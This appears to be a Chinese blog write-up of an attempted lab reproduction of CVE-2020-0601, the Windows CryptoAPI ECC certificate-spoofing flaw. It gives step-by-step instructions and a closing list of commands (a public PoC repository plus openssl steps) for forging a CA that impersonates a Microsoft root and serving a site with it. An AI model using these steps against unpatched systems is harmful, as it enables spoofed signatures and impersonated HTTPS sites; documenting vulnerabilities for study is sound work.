zoukankan      html  css  js  c++  java
  • CVE-2020-0601:微软核心加密库漏洞复现(失败)

    CVE-2020-0601:微软核心加密库漏洞复现

    一、漏洞介绍

    受CVE2020-0601漏洞影响的系统,在验证证书签名时,在证书信用列表中查找受信任CA证书时出现乌龙。伪造的ECC CA证书可以被误认为可信任的证书,导致该伪造证书签名的文件能被系统信任。

    比如,win10中证书MicrosoftECCProductRootCertificateAuthority.pem是在受信任的证书列表中。现在我们根据漏洞,利用算法公式制造出与该证书具有相同公钥和曲线参数的,除基点G不同的另外一个证书spoofed.pem。操作系统在验证签名时会将spoofed.pem证书认为是信任列表中的MicrosoftECCProductRootCertificateAuthority.pem证书,那么spoofed.pem签署的文件,系统自然就信任。

    二、影响版本

    目前,支持使用带有指定参数的ECC密钥的证书的Microsoft Windows版本会受到影响,包括了Windows 10、Windows Server 2016/2019以及依赖于Windows CryptoAPI的应用程序。

    三、复现过程

    1)在win10开始菜单中输入certmgr.msc,并打开

    2)导出一个根证书MicrosoftECCProductRootCertificateAuthority

    选择Base64编码

     

    3)下载poc程序

     4)执行poc程序。该程序从导出的ECC证书中获取公钥值,然后生成私钥是1,G就是该公钥值的私钥文件

    5)对比一下证书和生成私钥文件内容能更好理解

    ECC证书中的公钥信息:

     

    生成的私钥文件:

     私钥值是1,对应的公钥值,G值和ECC证书中的公钥值是一样的。

    6)利用生成的私钥文件生成一个自签名CA证书,然后签发一个下级服务证书

    下级证书的私钥

    7)把生成的下级证书cert.crt,其私钥文件cert.key和我们的ca文件spoofed_ca.crt一起放到HTTP服务器上,配置启用SSL

    8)在客户机Win10下的hosts文件里添加配置,将自己服务器地址和域名配对。

     

    设置PHP studyssl配置文件

    9)最终使用微软浏览器或者IE浏览器访问此地址

    四、修复方式

    微软已发布补丁,更新即可

    五、需要使用的命令行

    git clone https://github.com/ollypwn/CVE-2020-0601.git
    ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
    openssl x509 -in MicrosoftECCProductRootCertificateAuthority.cer -noout -text
    openssl ec -in spoofed_ca.key -noout -text   
    openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt     
    openssl ecparam -name secp384r1 -genkey -noout -out cert.key
    openssl req -new -key cert.key -out cert.csr                                                                 
    openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000
  • 相关阅读:
    SharePoint 2013 安装.NET Framework 3.5 报错
    SharePoint 2016 配置工作流环境
    SharePoint 2016 站点注册工作流服务报错
    Work Management Service application in SharePoint 2016
    SharePoint 2016 安装 Cumulative Update for Service Bus 1.0 (KB2799752)报错
    SharePoint 2016 工作流报错“没有适用于此应用程序的地址”
    SharePoint 2016 工作流报错“未安装应用程序管理共享服务代理”
    SharePoint JavaScript API in application pages
    SharePoint 2016 每天预热脚本介绍
    SharePoint 无法删除搜索服务应用程序
  • 原文地址:https://www.cnblogs.com/ZYX-bk-412/p/14730555.html
Copyright © 2011-2022 走看看